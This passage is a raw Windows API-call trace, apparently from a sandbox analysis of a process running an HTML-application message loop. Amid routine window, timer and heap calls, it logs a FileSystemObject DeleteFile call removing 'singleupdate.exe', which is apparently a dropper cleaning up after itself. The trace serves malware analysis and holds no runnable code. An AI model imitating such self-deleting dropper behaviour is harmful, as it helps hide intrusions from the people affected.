[0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 0 [0249.209] QueryPerformanceCounter (in: lpPerformanceCount=0xcff86c | out: lpPerformanceCount=0xcff86c*=25251195539) returned 1 [0249.209] GetTickCount () returned 0x3da44 [0249.209] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.209] GetCurrentThreadId () returned 0xe0 [0249.209] PostMessageW (hWnd=0x3020e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0249.210] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x401, wParam=0xe9ade52, lParam=0x3d09) returned 0x0 [0249.210] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.210] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.210] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.210] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.210] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.210] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.210] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.210] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.210] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.210] QueryPerformanceCounter (in: lpPerformanceCount=0xcff7cc | out: lpPerformanceCount=0xcff7cc*=25251294519) returned 1 [0249.210] QueryPerformanceCounter (in: lpPerformanceCount=0x4c20a00 | out: lpPerformanceCount=0x4c20a00*=25251304611) returned 1 [0249.210] GetCurrentThreadId () returned 0xe0 [0249.210] GetCurrentThreadId () returned 0xe0 [0249.210] GetCurrentThreadId () returned 0xe0 [0249.211] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x7c) returned 0x1012c30 [0249.211] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1012c30 | out: hHeap=0xfb0000) returned 1 [0249.211] QueryPerformanceCounter (in: lpPerformanceCount=0xcff600 | out: lpPerformanceCount=0xcff600*=25251375316) returned 1 [0249.211] GetFocus () returned 0x8002e [0249.211] GetCursorPos (in: lpPoint=0xcff734 | out: lpPoint=0xcff734*(x=266, y=52)) returned 1 [0249.211] WindowFromPoint (Point=0x10a) returned 0x100f8 [0249.211] GetTickCount () returned 0x3da44 [0249.211] QueryPerformanceCounter (in: lpPerformanceCount=0xcff718 | out: lpPerformanceCount=0xcff718*=25251409543) returned 1 [0249.212] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0249.212] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x110) returned 0x1025398 [0249.212] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0x1054cd8 [0249.212] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0x1054dc8 [0249.212] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0x1054af8 [0249.212] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0x1054df8 [0249.212] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0x1054e70 [0249.212] GetTickCount () returned 0x3da44 [0249.212] GetTickCount () returned 0x3da44 [0249.212] GetTickCount64 () returned 0x3da44 [0249.212] GetFocus () returned 0x8002e [0249.212] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x58) returned 0xffa838 [0249.212] GetClientRect (in: hWnd=0x8002e, lpRect=0x4c0c494 | out: lpRect=0x4c0c494) returned 1 [0249.212] QueryPerformanceCounter (in: lpPerformanceCount=0xcff2a0 | out: lpPerformanceCount=0xcff2a0*=25251515956) returned 1 [0249.213] GetDCEx (hWnd=0x8002e, hrgnClip=0x0, flags=0x12) returned 0xffffffff9101065d [0249.213] CreateRectRgnIndirect (lprect=0xcff240) returned 0x27040197 [0249.213] MapWindowPoints (in: hWndFrom=0x8002e, hWndTo=0x0, lpPoints=0xcff280, cPoints=0x1 | out: lpPoints=0xcff280) returned 12255396 [0249.213] GetRandomRgn (hdc=0x9101065d, hrgn=0x27040197, i=4) returned 1 [0249.213] OffsetRgn (hrgn=0x27040197, x=-164, y=-187) returned 1 [0249.213] MapWindowPoints (in: hWndFrom=0x8002e, hWndTo=0x0, lpPoints=0xcff290, cPoints=0x1 | out: lpPoints=0xcff290) returned 12255396 [0249.213] GetRegionData (in: hrgn=0x27040197, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x20 [0249.213] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0xfe4f78 [0249.213] GetRegionData (in: hrgn=0x27040197, nCount=0x20, lpRgnData=0xfe4f78 | out: lpRgnData=0xfe4f78) returned 0x20 [0249.213] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4f78 | out: hHeap=0xfb0000) returned 1 [0249.213] DeleteObject (ho=0x27040197) returned 1 [0249.213] ReleaseDC (hWnd=0x8002e, hDC=0x9101065d) returned 1 [0249.214] GetCurrentThreadId () returned 0xe0 [0249.214] GetTickCount () returned 0x3da44 [0249.214] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0249.214] QueryPerformanceCounter (in: lpPerformanceCount=0xcff7a0 | out: lpPerformanceCount=0xcff7a0*=25251669397) returned 1 [0249.214] QueryPerformanceCounter (in: lpPerformanceCount=0xcff7c0 | out: lpPerformanceCount=0xcff7c0*=25251675194) returned 1 [0249.214] QueryPerformanceCounter (in: lpPerformanceCount=0xcff73c | out: lpPerformanceCount=0xcff73c*=25251683059) returned 1 [0249.214] QueryPerformanceCounter (in: lpPerformanceCount=0xcff730 | out: lpPerformanceCount=0xcff730*=25251688533) returned 1 [0249.214] GetTickCount () returned 0x3da44 [0249.214] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.244] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.244] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.244] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0249.244] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.244] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 0 [0249.244] QueryPerformanceCounter (in: lpPerformanceCount=0xcff86c | out: lpPerformanceCount=0xcff86c*=25254656273) returned 1 [0249.244] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.244] GetCurrentThreadId () returned 0xe0 [0249.244] SetCoalescableTimer (hWnd=0x3020e, nIDEvent=0x2006, uElapse=0xa, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2006 [0249.244] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.244] GetCurrentThreadId () returned 0xe0 [0249.244] RedrawWindow (hWnd=0x3020e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0249.244] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x401, wParam=0xf0d7b50, lParam=0x3d09) returned 0x0 [0249.244] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.245] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.245] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.245] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.245] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.245] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.245] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.245] KillTimer (hWnd=0x8002e, uIDEvent=0x1000) returned 1 [0249.245] GetCurrentThreadId () returned 0xe0 [0249.245] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.246] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.247] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.247] KillTimer (hWnd=0x3020e, uIDEvent=0x2006) returned 1 [0249.247] GetTickCount () returned 0x3da63 [0249.247] PostMessageW (hWnd=0x3020e, Msg=0x113, wParam=0x2000, lParam=0x0) returned 1 [0249.247] GetTickCount64 () returned 0x3da63 [0249.247] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6f4 | out: lpPerformanceCount=0xcff6f4*=25254971690) returned 1 [0249.247] GetTickCount () returned 0x3da63 [0249.247] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0249.247] GetTickCount64 () returned 0x3da63 [0249.247] GetFocus () returned 0x8002e [0249.247] GetClientRect (in: hWnd=0x8002e, lpRect=0x4c0c5d4 | out: lpRect=0x4c0c5d4) returned 1 [0249.248] QueryPerformanceCounter (in: lpPerformanceCount=0xcff1c8 | out: lpPerformanceCount=0xcff1c8*=25255024354) returned 1 [0249.248] GetTickCount64 () returned 0x3da63 [0249.248] QueryPerformanceCounter (in: lpPerformanceCount=0xcff1c8 | out: lpPerformanceCount=0xcff1c8*=25255108724) returned 1 [0249.249] GetCurrentThreadId () returned 0xe0 [0249.249] PostMessageW (hWnd=0x3020e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0249.250] GetCurrentThreadId () returned 0xe0 [0249.250] GetTickCount () returned 0x3da63 [0249.250] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0249.250] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6c8 | out: lpPerformanceCount=0xcff6c8*=25255229944) returned 1 [0249.250] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6e8 | out: lpPerformanceCount=0xcff6e8*=25255237683) returned 1 [0249.250] GetTickCount () returned 0x3da63 [0249.250] GetTickCount64 () returned 0x3da63 [0249.250] GetTickCount64 () returned 0x3da63 [0249.250] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.250] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.250] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.251] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.251] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.251] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.251] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.251] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.251] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.252] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.252] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.252] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.252] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.252] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.252] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.253] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.253] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.253] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.253] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.254] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.254] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.254] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.254] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.254] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.255] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.256] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.256] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.256] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.256] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.256] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.256] KillTimer (hWnd=0x3020e, uIDEvent=0x2002) returned 1 [0249.256] QueryPerformanceCounter (in: lpPerformanceCount=0xcff7ec | out: lpPerformanceCount=0xcff7ec*=25255914266) returned 1 [0249.257] QueryPerformanceCounter (in: lpPerformanceCount=0xcff77c | out: lpPerformanceCount=0xcff77c*=25255931002) returned 1 [0249.257] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0249.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e21c | out: lpSystemTimeAsFileTime=0xd9e21c*(dwLowDateTime=0xaf3a50dd, dwHighDateTime=0x1d4f110)) [0249.257] GetTickCount () returned 0x3da73 [0249.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e224 | out: lpSystemTimeAsFileTime=0xd9e224*(dwLowDateTime=0xaf3a50dd, dwHighDateTime=0x1d4f110)) [0249.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e21c | out: lpSystemTimeAsFileTime=0xd9e21c*(dwLowDateTime=0xaf3a50dd, dwHighDateTime=0x1d4f110)) [0249.257] GetTickCount () returned 0x3da73 [0249.258] GetCurrentThreadId () returned 0xe0 [0249.258] GetTickCount () returned 0x3da73 [0249.258] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xd9c7b8, riid=0x7164c794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xcfed30*="DeleteFile", cNames=0x1, lcid=0x409, rgDispId=0xcfed8c | out: rgDispId=0xcfed8c*=1200) returned 0x0 [0249.258] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164c624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6680150 | out: ppvObject=0x6680150*=0x0) returned 0x80004002 [0249.258] FileSystemObject:IUnknown:AddRef (This=0xd9c7b8) returned 0x2 [0249.258] FileSystemObject:IUnknown:QueryInterface (in: This=0xd9c7b8, riid=0x7164c644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0xcfeddc | out: ppvObject=0xcfeddc*=0x0) returned 0x80004002 [0249.258] FileSystemObject:IUnknown:AddRef (This=0xd9c7b8) returned 0x3 [0249.258] FileSystemObject:IDispatch:Invoke (in: This=0xd9c7b8, dispIdMember=1200, riid=0x7164c794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xcfedb0*(rgvarg=([0]=0xcfed30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="singleupdate.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xcfed5c, puArgErr=0xcfec34 | out: pDispParams=0xcfedb0*(rgvarg=([0]=0xcfed30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="singleupdate.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xcfed5c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xcfec34*=0x668a1e0) returned 0x0 [0249.266] FileSystemObject:IUnknown:Release (This=0xd9c7b8) returned 0x2 [0249.266] GetCurrentThreadId () returned 0xe0 [0249.266] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0249.266] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0249.267] malloc (_Size=0x28) returned 0x59064f0 [0249.267] GetCurrentThreadId () returned 0xe0 [0249.267] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0249.290] PostMessageW (hWnd=0x30218, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0249.290] GetCurrentThreadId () returned 0xe0 [0249.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e224 | out: lpSystemTimeAsFileTime=0xd9e224*(dwLowDateTime=0xaf3f090c, dwHighDateTime=0x1d4f110)) [0249.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e21c | out: lpSystemTimeAsFileTime=0xd9e21c*(dwLowDateTime=0xaf3f090c, dwHighDateTime=0x1d4f110)) [0249.290] GetTickCount () returned 0x3da92 [0249.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd9e224 | out: lpSystemTimeAsFileTime=0xd9e224*(dwLowDateTime=0xaf3f090c, dwHighDateTime=0x1d4f110)) [0249.291] free (_Block=0x59064f0) [0249.291] GetCurrentThreadId () returned 0xe0 [0249.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0249.291] QueryPerformanceCounter (in: lpPerformanceCount=0xcff77c | out: lpPerformanceCount=0xcff77c*=25259344270) returned 1 [0249.291] QueryPerformanceCounter (in: lpPerformanceCount=0xcff714 | out: lpPerformanceCount=0xcff714*=25259353849) returned 1 [0249.291] QueryPerformanceCounter (in: lpPerformanceCount=0xcff708 | out: lpPerformanceCount=0xcff708*=25259360305) returned 1 [0249.291] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6ac | out: lpPerformanceCount=0xcff6ac*=25259366725) returned 1 [0249.291] SetCoalescableTimer (hWnd=0x3020e, nIDEvent=0x2007, uElapse=0xa, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2007 [0249.291] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.291] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.291] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.292] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.292] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.292] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.292] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0249.292] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.292] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 0 [0249.293] QueryPerformanceCounter (in: lpPerformanceCount=0xcff86c | out: lpPerformanceCount=0xcff86c*=25259563196) returned 1 [0249.293] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.293] GetCurrentThreadId () returned 0xe0 [0249.293] SetCoalescableTimer (hWnd=0x3020e, nIDEvent=0x2008, uElapse=0xa, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2008 [0249.293] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.293] GetCurrentThreadId () returned 0xe0 [0249.293] RedrawWindow (hWnd=0x3020e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0249.293] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x401, wParam=0xf0e3133, lParam=0x3d09) returned 0x0 [0249.294] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.294] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.294] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.294] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.294] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.294] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.294] GetCurrentThreadId () returned 0xe0 [0249.294] GetCursorPos (in: lpPoint=0xcfdc28 | out: lpPoint=0xcfdc28*(x=266, y=52)) returned 1 [0249.294] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcfdc28 | out: lpPoint=0xcfdc28) returned 1 [0249.294] GetKeyState (nVirtKey=16) returned 0 [0249.294] GetKeyState (nVirtKey=17) returned 0 [0249.294] GetKeyState (nVirtKey=18) returned 0 [0249.295] GetKeyState (nVirtKey=160) returned 0 [0249.295] GetKeyState (nVirtKey=162) returned 0 [0249.295] GetKeyState (nVirtKey=164) returned 0 [0249.295] GetCursorPos (in: lpPoint=0xcfda88 | out: lpPoint=0xcfda88*(x=266, y=52)) returned 1 [0249.295] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcfda88 | out: lpPoint=0xcfda88) returned 1 [0249.295] GetKeyState (nVirtKey=16) returned 0 [0249.295] GetKeyState (nVirtKey=17) returned 0 [0249.295] GetKeyState (nVirtKey=18) returned 0 [0249.295] GetKeyState (nVirtKey=160) returned 0 [0249.295] GetKeyState (nVirtKey=162) returned 0 [0249.295] GetKeyState (nVirtKey=164) returned 0 [0249.295] GetCurrentThreadId () returned 0xe0 [0249.296] GetCurrentThreadId () returned 0xe0 [0249.296] GetCurrentThreadId () returned 0xe0 [0249.296] DestroyWindow (hWnd=0x30218) returned 1 [0249.296] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0249.311] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0249.313] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x1c, wParam=0x0, lParam=0xa6c) returned 0x0 [0249.313] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x1c, wParam=0x0, lParam=0xa6c) returned 0x0 [0249.313] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0249.313] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x1c, wParam=0x0, lParam=0xa6c) returned 0x0 [0249.313] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x1c, wParam=0x0, lParam=0xa6c) returned 0x0 [0249.313] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.313] GetAncestor (hwnd=0x8002e, gaFlags=0x3) returned 0x5020c [0249.313] GetAncestor (hwnd=0x0, gaFlags=0x3) returned 0x0 [0249.313] IsChild (hWndParent=0x8002e, hWnd=0x0) returned 0 [0249.313] PostMessageW (hWnd=0x8002e, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0249.314] GetCursorPos (in: lpPoint=0xcff0a0 | out: lpPoint=0xcff0a0*(x=266, y=52)) returned 1 [0249.314] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff0a0 | out: lpPoint=0xcff0a0) returned 1 [0249.314] GetKeyState (nVirtKey=16) returned 0 [0249.314] GetKeyState (nVirtKey=17) returned 0 [0249.314] GetKeyState (nVirtKey=18) returned 0 [0249.314] GetKeyState (nVirtKey=160) returned 0 [0249.314] GetKeyState (nVirtKey=162) returned 0 [0249.314] GetKeyState (nVirtKey=164) returned 0 [0249.314] GetCursorPos (in: lpPoint=0xcff0a0 | out: lpPoint=0xcff0a0*(x=266, y=52)) returned 1 [0249.314] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff0a0 | out: lpPoint=0xcff0a0) returned 1 [0249.314] GetKeyState (nVirtKey=16) returned 0 [0249.314] GetKeyState (nVirtKey=17) returned 0 [0249.314] GetKeyState (nVirtKey=18) returned 0 [0249.314] GetKeyState (nVirtKey=160) returned 0 [0249.314] GetKeyState (nVirtKey=162) returned 0 [0249.314] GetKeyState (nVirtKey=164) returned 0 [0249.315] GetCurrentThreadId () returned 0xe0 [0249.315] GetCurrentThreadId () returned 0xe0 [0249.315] GetCurrentThreadId () returned 0xe0 [0249.315] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.315] GetCurrentThreadId () returned 0xe0 [0249.315] PostMessageW (hWnd=0x3020e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0249.315] GetKeyState (nVirtKey=1) returned 0 [0249.315] GetKeyState (nVirtKey=2) returned 0 [0249.315] GetKeyState (nVirtKey=16) returned 0 [0249.315] GetKeyState (nVirtKey=17) returned 0 [0249.315] GetKeyState (nVirtKey=4) returned 0 [0249.315] GetKeyState (nVirtKey=18) returned 0 [0249.315] GetMessageTime () returned 252562 [0249.315] GetMessagePos () returned 0x34010a [0249.315] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x8, wParam=0x0, lParam=0x0, plResult=0xcff2d4 | out: plResult=0xcff2d4) returned 0x1 [0249.315] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0249.316] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.316] GetCurrentThreadId () returned 0xe0 [0249.316] GetCurrentThreadId () returned 0xe0 [0249.316] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.316] GetKeyState (nVirtKey=1) returned 0 [0249.316] GetKeyState (nVirtKey=2) returned 0 [0249.316] GetKeyState (nVirtKey=16) returned 0 [0249.316] GetKeyState (nVirtKey=17) returned 0 [0249.316] GetKeyState (nVirtKey=4) returned 0 [0249.316] GetKeyState 